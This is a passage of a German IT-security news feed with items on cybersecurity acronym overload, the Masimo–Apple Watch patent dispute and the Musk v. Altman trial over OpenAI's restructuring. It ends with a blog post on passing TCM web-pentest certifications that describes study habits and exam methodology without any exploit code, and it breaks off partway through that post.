<li><a href="https://www.csoonline.com/article/3492608/was-ist-siem.html" target="_blank">SIEM</a>,</li>



<li><a href="https://www.computerwoche.de/article/2790096/was-ist-ein-security-center-of-excellence.html" target="_blank">SOC</a>,</li>



<li><a href="https://www.computerwoche.de/article/2803437/was-ist-devsecops.html" target="_blank">DevSecOps</a>,</li>



<li><a href="https://www.csoonline.com/article/3493611/dynamic-static-application-security-testing-die-besten-dast-sast-tools.html" target="_blank">SAST/DAST</a>,</li>



<li><a href="https://www.computerwoche.de/article/2807278/die-8-besten-mfa-loesungen.html" target="_blank">MFA</a>.</li>
</ul>



<p>Mag sein, dass Cybersicherheitsprofis und -entscheider mit jedem dieser Akronyme direkt etwas anfangen können. In vielen anderen Teilen der Belegschaft werden sie vermutlich vor allem für fragende Blicke sorgen – insbesondere bei den Menschen, die gerade <a href="https://www.csoonline.com/article/3493776/security-fachkrafte-finden-4-wege-sicherheitsprofis-zu-rekrutieren.html" target="_blank">neu ins Unternehmen kommen</a>.</p>



<p>In diesem Artikel werfen wir einen Blick darauf, wie Organisationen internen Buchstabenschlachten ein Ende bereiten können.</p>



<h2 class="wp-block-heading">Abkürzungsschäden</h2>



<p>Ian P. McCarthy, Professor für Innovations- und Betriebsmanagement an der kanadischen Simon Fraser University, erklärt, was es mit der Tendenz auf sich hat, komplexe Begrifflichkeiten zu kryptischen Kurzformen zu transformieren: “Einerseits werden Akronyme verwendet, um die Kommunikation kurz, standardisiert und effizient zu gestalten. Andererseits trägt Kommunikation auch dazu bei, die Identität und Exklusivität eines Berufs zu definieren.”</p>



<p>Insofern sei es auch eine Form von <a href="https://medium.com/@schaman762/the-tech-bro-culture-is-it-driving-away-talent-6febf79ba122">Elitismus</a>, Akronyme zu nutzen, so der Akademiker: “Das schränkt ein, wer zu dieser Berufsgemeinschaft zählen kann.”  </p>



<p>Tatsächlich erweckt es den Anschein, als ob die Tech-Branche Akronyme zur ultimativen Geheimwaffe erklärt hat. Die kommt aber nicht nur zum Einsatz, um Zeit zu sparen, sondern auch um einen exklusiven “Club” zu etablieren. Das ist für die “Nicht-Mitglieder” nicht nur frustrierend, sondern kann auch Einarbeitungszeiten verlängern und potenzielle, neue Mitarbeiter abschrecken. Stichwort: <a href="https://www.csoonline.com/article/3492928/diversity-inclusion-wie-security-inklusiver-wird.html" target="_blank">Diversity</a>.</p>



<p>Die Nachteile exzessiver Akronym-Angewohnheiten im Überblick:</p>



<ul class="wp-block-list">
<li><strong>Zugangsbarrieren</strong>: Stellen Sie sich einen neuen Mitarbeiter vor, der versucht, Cybersecurity-Protokolle zu verstehen, dabei aber von Tausenden unbekannter Abkürzungen erschlagen wird. Was ursprünglich dazu gedacht war, Brancheninsidern eine schnelle Kommunikation zu ermöglichen, wird so schnell zum Abschreckungs- und Erlahmungsfaktor.</li>



<li><strong>Doppel- und Mehrdeutigkeiten</strong>: Je nach Kontext können Abkürzungen manchmal mehrere Bedeutungen haben – wie im Fall von APT (Advanced Persistent Threat vs. Advanced Packaging Tool). Das kann unter Umständen zu Missverständnissen in wichtigen Mitteilungen führen und begünstigt damit potenziell Sicherheitslücken.</li>



<li><strong>Akronym-Müdigkeit</strong>: Nicht nur neue Mitarbeiter können von übermäßig verwendeten Abkürzungen überfordert werden. Auch versierte Cybersicherheitsexperten können einer „Acronym Fatigue“ erliegen – einfach, weil es viel zu viele Abkürzungen gibt und es unmöglich ist, auch noch <a href="https://interlaced.io/blog/your-guide-to-cybersecurity-acronyms-cyber-series-part-1/" target="_blank" rel="noreferrer noopener">mit allen neuen Entwicklungen Schritt zu halten</a>. Die sind aber besonders im Bereich IT-Sicherheit wichtig.</li>



<li><strong>Transparenzverlust</strong>: Da Cybersecurity eine immer wichtigere Rolle im täglichen Leben einnimmt, ist es essenziell, grundlegende Sicherheitskonzepte allgemeinverständlich zu kommunizieren. Dabei können Akronyme unkundige Benutzer oft mehr verwirren, als für Klarheit zu sorgen.</li>
</ul>



<h2 class="wp-block-heading">Akronymabhilfe</h2>



<p>Natürlich gibt es je nach Organisation Unterschiede mit Blick darauf, wie mit Akronymen umgegangen wird. Eine allgemeine Faustregel könnte beispielsweise darstellen, ausschließlich diejenigen zu verwenden, die innerhalb der Organisation bekannt sind. Abkürzungen, die nicht in einem Gespräch verwendet werden, sollten bei schriftlicher Kommunikation auf jeden Fall vermieden, beziehungsweise ausgeschrieben werden – zumindest bei der ersten Erwähnung.  </p>



<p>Keine Lösung ist es hingegen, auf Abkürzungen ganz generell zu verzichten. Stattdessen empfiehlt es sich, sie maßvoll einzusetzen und mit dem zugehörigen Kontext auszustatten. Die folgenden vier Ansätze können Unternehmen und Organisationen dabei unterstützen, das umzusetzen.</p>



<ol class="wp-block-list">
<li><strong>Glossare</strong>: Standardisierte Glossare mit häufig verwendeten Akronymen erleichtern nicht nur Neueinsteigern, sich mit den wichtigsten, relevanten Begrifflichkeiten vertraut zu machen.</li>



<li><strong>Einfache Erklärungen</strong>: Kurze Erklärungen oder Definitionen, die bei weniger gebräuchlichen Akronymen eingeblendet werden, sind in Dokumentationen und journalistischen Fachartikeln bereits üblich. Dieser Ansatz ließe sich auch auf Präsentationen, Meetings und E-Mails ausweiten.</li>



<li><strong>Unnötiges vermeiden</strong>: Nicht jeder Begriff braucht ein Akronym, In manchen Fällen kann einfache Sprache, die kryptische Begriffe umschreibt, die bessere Wahl sein.</li>



<li><strong>Schulungen</strong>: Regelmäßige Trainingseinheiten zu neuen und bestehenden Terminologien können dazu beitragen, die gesamte Belegschaft einer Organisation auf dem aktuellen Stand zu halten, ohne dabei Einzelne zu überfordern.</li>
</ol>



<p>Laut dem Dramatiker <a href="https://execdev.unc.edu/how-to-increase-the-odds-of-people-paying-attention-to-your-communication/" target="_blank" rel="noreferrer noopener">George Bernard Shaw</a> ist das größte Hindernis der Kommunikation die Illusion, dass sie stattgefunden hat. Exzessiv mit Akronymen um sich zu werfen, trägt dazu bei, dieses Trugbild zu erzeugen. </p>



<p><strong>Sie wollen weitere interessante Beiträge rund um das Thema IT-Sicherheit lesen? </strong><a href="https://www.csoonline.com/de/newsletters/signup/" target="_blank"><strong>Unser kostenloser Newsletter</strong></a><strong> liefert Ihnen alles, was Sicherheitsentscheider und -experten wissen sollten, direkt in Ihre Inbox.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Masimo’s Long Apple Watch Patent War Suffers Another Blow With April Court Filing]]></title>
<description><![CDATA[Masimo’s years-long legal battle against Apple over Apple Watch blood oxygen patents has hit another major obstacle, giving Apple a significant short-term victory in one of its most expensive patent fights.



A new U.S. District Court filing confirms that Masimo’s complaint against the United St...]]></description>
<link>https://tsecurity.de/de/3465777/ios-mac-os/masimos-long-apple-watch-patent-war-suffers-another-blow-with-april-court-filing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3465777/ios-mac-os/masimos-long-apple-watch-patent-war-suffers-another-blow-with-april-court-filing/</guid>
<pubDate>Sun, 26 Apr 2026 15:08:37 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Masimo’s years-long legal battle against Apple over Apple Watch blood oxygen patents has hit another major obstacle, giving Apple a significant short-term victory in one of its most expensive patent fights.



A new U.S. District Court filing confirms that Masimo’s complaint against the United States International Trade Commission and U.S. Customs and Border Protection will be dismissed with prejudice, effectively closing this specific legal path and removing any immediate threat of another Apple Watch import ban in the United States.




“In view of the Commission proceeding, the parties agree that dismissal of Masimo complaint with prejudice is appropriate and will be filing a proposed stipulation of dismissal.”— U.S. District Court joint status report, April 24, 2026




This development follows the ITC’s April 17 decision not to review an Administrative Law Judge’s earlier finding that Apple’s redesigned Apple Watch models do not infringe Masimo’s asserted patents. That ruling made the redesign approval final while also terminating the combined enforcement proceeding entirely.



For Apple, this means its software workaround that disabled blood oxygen monitoring on U.S. Apple Watch models remains effective in avoiding a broader sales disruption. The company still cannot fully restore on-watch blood oxygen functionality in the U.S., but this filing sharply reduces near-term legal pressure.



Masimo’s broader fight is not over yet. The company still has until June 16, 2026, to appeal to the U.S. Court of Appeals for the Federal Circuit, which means future legal challenges remain possible.



The bigger picture



Masimo first launched its patent claims in 2020, arguing Apple improperly used its pulse oximetry technology. Since then, the dispute has led to import bans, software changes, mistrials, and a separate $634 million federal jury verdict for Masimo.



Still, this latest dismissal shows Apple’s redesign strategy continues to hold legal ground for now, while Masimo faces another setback in its effort to force stronger restrictions on Apple Watch sales.]]></content:encoded>
</item>
<item>
<title><![CDATA[What you need to know as Elon Musk's lawsuit against Sam Altman begins]]></title>
<description><![CDATA[In a few short days, jury selection will begin in the long-awaited Musk v. Altman case. At the end of that process, an Oakland federal court will task nine regular people with deciding if OpenAI defrauded Elon Musk when it announced, and recently completed, its reorganization to become a more tra...]]></description>
<link>https://tsecurity.de/de/3462554/it-nachrichten/what-you-need-to-know-as-elon-musks-lawsuit-against-sam-altman-begins/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3462554/it-nachrichten/what-you-need-to-know-as-elon-musks-lawsuit-against-sam-altman-begins/</guid>
<pubDate>Fri, 24 Apr 2026 21:30:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In a few short days, jury selection will begin in the long-awaited <em>Musk v. Altman</em> case. At the end of that process, an Oakland federal court will task nine regular people with deciding if OpenAI defrauded Elon Musk when it announced, and recently completed, its reorganization to become a <a target="_blank" class="link" href="https://www.engadget.com/ai/why-openai-is-trying-to-untangle-its-bespoke-corporate-structure-160028589.html" data-i13n="cpos:1;pos:1">more traditional for-profit business</a>. More than just being the venue where two billionaires will air their grievances against one another in public, the trial has the potential to reshape the AI industry.</p><h2><strong>How did we get here?</strong></h2><p>Musk first sued OpenAI <a target="_blank" class="link" href="https://www.engadget.com/elon-musk-sues-openai-and-sam-altman-for-allegedly-ditching-non-profit-mission-160722736.html" data-i13n="cpos:2;pos:1">in 2024</a>, but the seed of the dispute was planted when Sam Altman emailed the billionaire on the evening of May 25, 2015. “Been thinking a lot about whether it’s possible to stop humanity from developing AI. I think the answer is most definitely not,” Altman wrote at the time. “If it’s going to happen anyway, it seems like it would be good for someone other than Google to do it first. Any thoughts on whether it would be good for [Y Combinator] to start a Manhattan Project for AI?”</p><p>“Probably worth a conversation,” Musk responded a couple of hours later. That same year, OpenAI <a target="_blank" class="link" href="https://openai.com/index/introducing-openai/" data-i13n="cpos:3;pos:1">announced itself to the world</a>, with Altman and Musk as co-chairs of the new joint venture. “OpenAI is a nonprofit artificial intelligence research company. Our goal is to advance digital intelligence in the way that is mostly likely to benefit humanity as a whole, unconstrained by a need to generate financial return. Since our research is free from financial obligations, we can better focus on a positive human impact.”</p><p>If we’re to believe OpenAI’s <a target="_blank" class="link" href="https://openai.com/elon-musk/" data-i13n="cpos:4;pos:1">telling of the events that followed</a>, by 2017, almost everyone at the company, including Musk, agreed that a for-profit entity “had to be part of the next phase for OpenAI,” due to the enormous amount of investment needed to pursue its original mission. At some point before Musk left OpenAI’s board of directors in February 2018, OpenAI claims he demanded full control of the company, with the intent to eventually merge it with Tesla.</p><p>Following Musk’s departure, OpenAI <a target="_blank" class="link" href="https://openai.com/index/openai-lp/" data-i13n="cpos:5;pos:1">created its for-profit arm</a> in 2019, which at the time was organized under a “capped-profit” structure designed to limit investor returns to 100x, with any excess windfalls flowing to the company’s nonprofit. The idea being that if OpenAI achieved artificial general intelligence, its nonprofit would be the greatest beneficiary. However, after the success of ChatGPT in 2022, that structure became problematic for OpenAI as the company sought to raise ever more capital, and as part of its <a target="_blank" class="link" href="https://www.engadget.com/ai/openai-rakes-in-over-6-billion-in-new-funding-192110908.html" data-i13n="cpos:6;pos:1">$6.6 billion funding round</a> in October 2024, it <a target="_blank" class="link rapid-with-clickid" href="https://shopping.yahoo.com/rdlw?merchantId=c813ae39-7d58-41cb-ac66-ad830606ceef&amp;siteId=us-engadget&amp;pageId=1p-autolink&amp;contentUuid=5daa4717-b2ef-463f-a7aa-22cd2e3ba3cc&amp;featureId=text-link&amp;merchantName=The+New+York+Times&amp;linkText=reportedly+agreed&amp;custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5ueXRpbWVzLmNvbS8yMDI0LzEwLzAyL3RlY2hub2xvZ3kvb3BlbmFpLXZhbHVhdGlvbi0xNTAtYmlsbGlvbi5odG1sIiwiY29udGVudFV1aWQiOiI1ZGFhNDcxNy1iMmVmLTQ2M2YtYTdhYS0yMmNkMmUzYmEzY2MiLCJvcmlnaW5hbFVybCI6Imh0dHBzOi8vd3d3Lm55dGltZXMuY29tLzIwMjQvMTAvMDIvdGVjaG5vbG9neS9vcGVuYWktdmFsdWF0aW9uLTE1MC1iaWxsaW9uLmh0bWwifQ&amp;signature=AQAAAUoKYUkx6zMjTkKD-WU8FK9GUOqSxZuaJY_dMOK0BH3p&amp;gcReferrer=https%3A%2F%2Fwww.nytimes.com%2F2024%2F10%2F02%2Ftechnology%2Fopenai-valuation-150-billion.html" data-i13n="elm:affiliate_link;sellerN:The New York Times;elmt:;cpos:7;pos:1" data-original-link="https://www.nytimes.com/2024/10/02/technology/openai-valuation-150-billion.html">reportedly agreed</a> to a less-than-two-year deadline to free its for-profit from control of the nonprofit.</p><p>“At the heart of this trial is that OpenAI began as a non-profit organization, and then decided that it needed to be a for-profit organization in order to raise the enormous sums of money it needed to develop the technology it wanted to create,” explains <a target="_blank" class="link" href="https://law.ucla.edu/faculty/faculty-profiles/michael-dorff" data-i13n="cpos:8;pos:1">Professor Michael Dorff</a>, executive director of the Lowell Milken Institute for Business Law and Policy at UCLA. “That is a very troublesome transition under the law.”</p><p>Earlier this year, following protracted negotiations with Microsoft (the for-profit’s largest investor) and the state attorneys general of California and Delaware, OpenAI <a target="_blank" class="link" href="https://www.engadget.com/ai/openai-completes-corporate-reorganization-with-support-from-microsoft-133109385.html" data-i13n="cpos:9;pos:1">announced</a> the successful reorganization of its corporate structure. As things stand, the for-profit is now a public benefit corporation, making it more appealing to investors looking for an uncomplicated return structure. Meanwhile, the nonprofit — now known as the OpenAI Foundation — holds equity in the for-profit arm, a stake valued at $130 billion at the time the agreement was announced. </p><p>At the end of last year, Musk <a target="_blank" class="link" href="https://www.engadget.com/big-tech/elon-musk-asks-court-to-stop-openai-from-becoming-a-for-profit-165051728.html" data-i13n="cpos:10;pos:1">filed an injunction</a> to prevent the reorganization from going through but failed. As an early donor to OpenAI, Musk will not see a single cent of money come his way when the company holds an initial public offering, on account of the fact donations are made with no expectation of any return. Musk has therefore argued OpenAI’s founding group, including CEO Sam Altman and President Greg Brockman, defrauded him as a donor.</p><p>Determining the exact amount Musk contributed to OpenAI was an early question during pre-trial discovery. You see, Musk has <a target="_blank" class="link" href="https://techcrunch.com/2023/05/17/elon-musk-used-to-say-he-put-100m-in-openai-but-now-its-50m-here-are-the-receipts/" data-i13n="cpos:11;pos:1">greatly exaggerated</a> his monetary contributions. <a target="_blank" class="link" href="https://twitter.com/elonmusk/status/1636047019893481474?s=20" data-i13n="cpos:12;pos:1">As recently as March 2023</a>, the billionaire regularly claimed he had donated about $100 million to OpenAI. He later cut that estimate by half, <a target="_blank" class="link rapid-with-clickid" href="https://shopping.yahoo.com/rdlw?merchantId=34e37b9c-8975-48da-aa39-df8bcd5badc3&amp;siteId=us-engadget&amp;pageId=1p-autolink&amp;contentUuid=5daa4717-b2ef-463f-a7aa-22cd2e3ba3cc&amp;featureId=text-link&amp;merchantName=CNBC&amp;linkText=telling+CNBC+in+May+2023&amp;custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5jbmJjLmNvbS8yMDIzLzA1LzE2L2Vsb24tbXVzay1jbmJjLWludGVydmlldy13aXRoLWRhdmlkLWZhYmVyLmh0bWwiLCJjb250ZW50VXVpZCI6IjVkYWE0NzE3LWIyZWYtNDYzZi1hN2FhLTIyY2QyZTNiYTNjYyIsIm9yaWdpbmFsVXJsIjoiaHR0cHM6Ly93d3cuY25iYy5jb20vMjAyMy8wNS8xNi9lbG9uLW11c2stY25iYy1pbnRlcnZpZXctd2l0aC1kYXZpZC1mYWJlci5odG1sIn0&amp;signature=AQAAAZ9Xt277WDCbjP2fF9EvmN2lKVffzJs0A6RtzeDEB3zI&amp;gcReferrer=https%3A%2F%2Fwww.cnbc.com%2F2023%2F05%2F16%2Felon-musk-cnbc-interview-with-david-faber.html" data-i13n="elm:affiliate_link;sellerN:CNBC;elmt:;cpos:13;pos:1" data-original-link="https://www.cnbc.com/2023/05/16/elon-musk-cnbc-interview-with-david-faber.html">telling <em>CNBC</em> in May 2023</a>: “I’m not sure the exact number but it’s some number on the order of $50 million.” In recent court filings, that number was again revisited to <a target="_blank" class="link rapid-with-clickid" href="https://shopping.yahoo.com/rdlw?merchantId=34e37b9c-8975-48da-aa39-df8bcd5badc3&amp;siteId=us-engadget&amp;pageId=1p-autolink&amp;contentUuid=5daa4717-b2ef-463f-a7aa-22cd2e3ba3cc&amp;featureId=text-link&amp;merchantName=CNBC&amp;linkText=%2438+million&amp;custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5jbmJjLmNvbS8yMDI2LzA0LzA3L2Vsb24tbXVzay1zZWVrcy1vdXN0ZXItb2Ytb3BlbmFpLWNlby1zYW0tYWx0bWFuLWFzLXBhcnQtb2YtbGF3c3VpdC5odG1sIiwiY29udGVudFV1aWQiOiI1ZGFhNDcxNy1iMmVmLTQ2M2YtYTdhYS0yMmNkMmUzYmEzY2MiLCJvcmlnaW5hbFVybCI6Imh0dHBzOi8vd3d3LmNuYmMuY29tLzIwMjYvMDQvMDcvZWxvbi1tdXNrLXNlZWtzLW91c3Rlci1vZi1vcGVuYWktY2VvLXNhbS1hbHRtYW4tYXMtcGFydC1vZi1sYXdzdWl0Lmh0bWwifQ&amp;signature=AQAAAdkEpv30Q0Vv7ac-61EDnYWRWayZ7gggpfwluRwQexEY&amp;gcReferrer=https%3A%2F%2Fwww.cnbc.com%2F2026%2F04%2F07%2Felon-musk-seeks-ouster-of-openai-ceo-sam-altman-as-part-of-lawsuit.html" data-i13n="elm:affiliate_link;sellerN:CNBC;elmt:;cpos:14;pos:1" data-original-link="https://www.cnbc.com/2026/04/07/elon-musk-seeks-ouster-of-openai-ceo-sam-altman-as-part-of-lawsuit.html">$38 million</a>, and it’s the number that currently stands.</p><h2><strong>What’s at stake for OpenAI?</strong></h2><p>In his original complaint, Musk’s legal team tried to “throw the kitchen sink” at OpenAI, says Professor Dorff. In subsequent filings, Musk’s lawyers narrowed down their client’s desired set of outcomes to a handful of remedies. Should the jury rule in his favor, Musk has requested the court force Altman and Brockman to step down, and for OpenAI to restructure as “a bona fide public charity that operates as the nonprofit it was intended to be, consistent with its founding charter and mission.” He's also made the <a target="_blank" class="link" href="https://www.engadget.com/ai/elon-musk-wants-any-damages-from-his-openai-lawsuit-given-to-the-ai-companys-nonprofit-arm-223337225.html" data-i13n="cpos:15;pos:1">highly unusual request</a> that any monetary damages which would be awarded to him in the verdict be redirected to OpenAI's own nonprofit arm.</p><p>According to Professor Dorff, it’s highly unlikely Musk will be able to undo OpenAI’s reorganization. For one, District Judge Yvonne Gonzalez Rogers has already signaled her reluctance to do just that — and it’s her, not the jury, who will get to decide if that’s an appropriate remedy. Effectively, Musk is asking the judge to “unscramble the eggs” of a complicated corporate restructuring.</p><p>“There was a moment where that might have been possible, when the attorneys general of Delaware and California intervened and came to the current compromise,” explains Dorff. “Whether you agree or disagree with what the AGs decided to do, I think it's unlikely the court will feel it's appropriate to undo that compromise because of all the high government officials involved who, in theory, had all of the right incentives.” When Musk filed his request for a preliminary injunction to stop OpenAI’s conversion to a for-profit company, the judge said the request was “<a target="_blank" class="link" href="https://storage.courtlistener.com/recap/gov.uscourts.cand.433688/gov.uscourts.cand.433688.121.0_1.pdf" data-i13n="cpos:16;pos:1">extraordinary and rarely granted</a>.” The fact Musk is deeply involved with OpenAI's competitor xAI “may also weigh heavily on the judge's mind,” Droff adds.</p><p>Far more uncertain is how Musk’s other demands could play out, since the jury will decide if OpenAI is guilty of defrauding him. According to Dorff, most high-stakes business cases end with the two sides settling because of the risk of involving a jury in the outcome. “I just don’t see that happening here given the tenor of the dispute,” he says. “It seems unlikely either side will settle.”</p><p>If the case does end in a jury decision, it will then be up to those nine people, with guidance from the judge, to decide on monetary damages. “That will be very difficult to figure out because there is a maximalist version of this, and a minimalist version of this. They’re very different numbers and the result could be anywhere in between two,” says Dorff. Musk’s legal team is seeking a disgorgement of between $65.5 billion and $109.43 billion from OpenAI (and between $13.3 billion and $25.06 billion from Microsoft, which is a co-defendant in the case). In a worse case scenario, Professor Dorff suggests Altman might lose the confidence of OpenAI’s board, costing him his position as CEO. He might even be forced to write some checks to settle the disgorgements.</p><p>Dorff suspects OpenAI “would love” the minimalist version where Musk is rewarded his $38 million donation back (and it ends up with the company’s non-profit). Should some other disgruntled donors emerge to sue OpenAI for fraud, the <em>Musk v. Altman</em> case would make it easier to litigate those cases, given “the map has been drawn as to which legal claims are likely to succeed,” says Dorff. However, those would amount to “traffic tickets” for OpenAI.</p><p>Whatever happens next, it should be an eventful trial. With public testimonies from Microsoft CEO Satya Nadella, former OpenAI board member and Musk confidant Shivon Zilis and even Altman himself a likelihood, we'll at the very least be treated to a wealth of formerly private communications — <a target="_blank" class="link" href="https://www.washingtonpost.com/technology/2026/04/23/musk-altman-lawsuit-trial-openai/#:~:text=repeatedly%20asked%20about-,%E2%80%9Crhino%20ketamine%2C%E2%80%9D,-a%20concoction%20that%E2%80%99s" data-i13n="cpos:17;pos:1">and some new piece of vocabulary</a> — between some of the richest people in the tech space. </p>This article originally appeared on Engadget at https://www.engadget.com/ai/what-you-need-to-know-as-elon-musks-lawsuit-against-sam-altman-begins-191500726.html?src=rss]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Passed Three TCM Certs in Eight Months.]]></title>
<description><![CDATA[PWPA, PWPP, PWPE — Three certs, eight months, and a lot of coffee.This isn’t an official review or comparison — plenty of those exist already. This is how I actually approached it, including the moments where I thought I was going to blow it.Why TCM Security?I’d already spent some time playing on...]]></description>
<link>https://tsecurity.de/de/3460859/hacking/how-i-passed-three-tcm-certs-in-eight-months/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3460859/hacking/how-i-passed-three-tcm-certs-in-eight-months/</guid>
<pubDate>Fri, 24 Apr 2026 12:07:27 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4>PWPA, PWPP, PWPE — Three certs, eight months, and a lot of coffee.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*5SLasyhowwb-oZLqr3BuPw.png"></figure><p>This isn’t an official review or comparison — plenty of those exist already. This is how I actually approached it, including the moments where I thought I was going to blow it.</p><h3>Why TCM Security?</h3><p>I’d already spent some time playing on <em>Hack The Box</em> and <em>TryHackMe</em>, I passed a Micro-Credential on Ethical Hacking, but I wanted something that felt like real work. TCM has a reputation for practical courses and exams that resemble actual pentests. No multiple choice, no theory questions, no flag — just a website, a scope, and you.</p><p>That sounded exactly like the kind of exam I wanted.</p><h3>PWPA — Practical Web Pentest Associate</h3><h3>What it is</h3><p>PWPA is the beginner-level cert for web pentesting. It covers a lot of basic vulnerabilities and how to exploit them. But more importantly, Alex doesn’t just hand you a checklist — he teaches a <strong>methodology</strong> you can immediately put into practice with the labs. He strongly encourages keeping your notes updated throughout the process.</p><p>Contrary to what I thought at first, pentesters don’t know everything by heart. Hackers in movies type at insane speeds, bypassing the firewall and hacking into the mainframe. That’s not real life. Having someone explain a clear methodology lowers the bar for getting started in hacking.</p><h3>The course</h3><p>The Bug Bounty Hunter course is made up of different sections, ranging from enumeration (a fancy word for looking for hidden stuff in a website) to exploiting your first Cross-Site Scripting vulnerability (a fancy way of saying you can make the website do something it’s not supposed to do).</p><p>If at this point you’re thinking, “What?”, don’t worry. Everything is explained step by step, and you’re not expected to understand everything right away. For example, when I started, I couldn’t script anything, yet the very first section is about scripting. By the end, you end up with a script you can use for all your engagements. You don’t need to know every detail about how it works. Honestly, I only took a Python course <em>after</em> passing PWPP. So trust me when I say: you’re fine.</p><h3>The exam</h3><p>Before starting the exam, you’re reminded that you can’t share exam details, so I’m definitely not going to spoil anything. Everything you need to know is in the Rules of Engagement (RoE) you receive when you click “Start Exam.” This document explains what you should look for, who to contact if something goes wrong, and what you’re not allowed to do. Read it. <strong>Then re-read it.</strong> It’s important.</p><p>After reviewing the RoE, it’s just you, your tools, and the techniques you’ve learned. And that’s all you need. There’s no reason to look for things you weren’t taught or use techniques outside the course. What matters is opening the website, getting overwhelmed for a minute or two, then opening your notes and following your methodology.</p><blockquote><em>Don’t forget to set a timer: one hour hacking, five-minute break, and a longer break after three cycles.</em></blockquote><h3>My exam</h3><p>I started and couldn’t find anything for <strong>two straight hours</strong>. After a break, I slowed down, put my notes on a second screen, and began working through the methodology I had practiced so many times. I had summarized the entire course into a document I called my “Sanity Check,” and I strongly recommend having something like that. Once I followed it, the vulnerabilities presented themselves.</p><p>A big thing about this exam is that they don’t try to trick you. It’s just a pentest.</p><p>My approach was to screenshot everything, paste it into Notion with a short explanation, and move on.</p><blockquote><em>Quick tip: having something that tracks your clipboard history is incredibly useful. I had to dig for screenshots I knew I took but forgot to paste.</em></blockquote><p>After about seven hours, I had found some interesting things. Then I shut down my computer, picked up my kids from school, and had a great evening with them. After they went to bed, I watched a movie with my wife and went to sleep.</p><p>That paragraph isn’t a flex — it’s essential. If you’ve worked all day, you need rest. <strong><em>You’ll run out of ideas long before you run out of time.</em></strong> After dropping my kids off at school the next morning, I grabbed a coffee and started hacking again. Don’t think, “I have enough points; I’ll just wing it.” Take it seriously and try everything you can. Right after lunch, I found another major vulnerability, and I was genuinely excited.</p><p>Eventually, I ran out of ideas. I reviewed the vulnerabilities I found and didn’t know what else to test, so I started writing my report. I didn’t close my exam yet, because if I needed extra screenshots or wanted to try a different payload, I still had the option. Luckily, I didn’t need extra lab time, and I finished my report around the same time my lab expired.</p><p>After finishing the report, I closed my laptop again and spent time with my family. The next morning, after a good night’s sleep, I re-read the report in detail. I made a few edits, read it one last time, exported it as a PDF, and submitted it.</p><p>Then I braced myself for a long wait… but only two hours later, a notification from TCM popped up with the link to my certification.</p><h3>Verdict</h3><p>A great and fun exam. Challenging enough to test your abilities, but not so hard that it feels impossible. If you do the lab work and avoid shortcuts, you’ll succeed.</p><p><strong>Result:</strong> First attempt pass.</p><h3>PWPP — Practical Web Pentest Professional</h3><h3>The step up</h3><p>This is a professional-level certification, meaning you need to know a thing or two about performing an assessment and finding vulnerabilities. The techniques taught in PWPA are necessary to understand the more complex attacks in this course. Just like in PWPA, Alex’s approach is all about keeping your notes updated along the way. If you followed PWPA, you’ll definitely revisit some things before diving into the deeper material.</p><h3>The course</h3><p>The course is split into two parts: one focused on API hacking, and one focused on web hacking. Both parts work hand in hand, but I think it’s beneficial to start with the API section.</p><h3>The exam</h3><p>Same deal — everything you need to know is in the RoE. Read it. Then read it again.</p><p>After reviewing the RoE, it’s just you, your tools, and the techniques you’ve learned. There’s no reason to look for things you weren’t taught or to use techniques outside the course.</p><h3>My exam</h3><p>When I opened my exam, I saw functionality that clearly matched an attack taught in the course. But instead of getting a quick win, I forgot once again to <strong><em>slow down</em></strong>. After a while (a bit too long), I found the exploit, and it turned out to be much easier than what I was trying. Like I already mentioned: there’s no need to look for attacks you didn’t learn. Stick to the coursework.</p><p>My “Sanity Check” from PWPA had a major update after doing PWPP, and for the rest of the exam I really found and kept my flow using it.</p><p>Because you know more techniques now, it’s important to track <em>what</em>, <em>how</em>, and <em>where</em> you test. Don’t distract yourself with “I’ll test this endpoint on X and Y” but then get sidetracked by something else. Be strict with yourself and focus on one thing at a time.</p><p>Like with PWPA, I didn’t work more than seven hours on the first day, and I took my breaks. I felt good by the end of the day, did family stuff, and went to bed.</p><p>The second day, I was fully in the zone. A bit too much, actually. I forgot my breaks, forgot to drink, and barely ate. I fell straight into a rabbit hole and couldn’t get out. And that’s something I want to warn you about: falling into a rabbit hole is normal, and you <em>do</em> have to test it, but set a timer for problems. I was convinced there was something there, but I couldn’t find it because it simply wasn’t there.</p><blockquote><em>My advice changed after that experience: hack away, but when you get stuck, set a timer and stick to it. I probably would have lost only an hour or two, but if I had taken my break, I would have realized sooner that it wasn’t worth pursuing.</em></blockquote><p>After realizing I went too deep, I took a long break, forgot about it, and moved on to other problems. I did some extra hours that day but still got enough rest.</p><p>By the middle of the third day, I was out of ideas. So, just like in PWPA, I left my environment open and started my report. I had already taken screenshots throughout the exam and saved them in Notion with comments. With my report template prepared, it was mostly copy, paste, done.</p><p>I read it, re-read it, saved it to PDF, re-read it once more, and before my lab time was up, the report was ready. I ended my environment, uploaded the report, hung out with the kids, and went to bed. The next morning, I already saw three notifications with “TCM Sec…” in my inbox. I opened the latest one, and my certification link was available.</p><h3>Verdict</h3><p>This exam was really fun and taught me something valuable. You have to stay open enough to let an exam teach you something, even without an instructor guiding you. The biggest lesson for me was the rabbit hole. I’ll try to recognize it faster next time.</p><p>It’s understandable that in an exam you want to find things, but even during an exam, you have to know when to stop. And that might be the most valuable lesson PWPP taught me.</p><p><strong>Result:</strong> First attempt pass.</p><h3>PWPE — Practical Web Pentest Expert</h3><h3>This was different</h3><p>PWPE is the follow-up to PWPP. It’s an expert-level exam that will push you to look further and deeper than you ever did with PWPA or 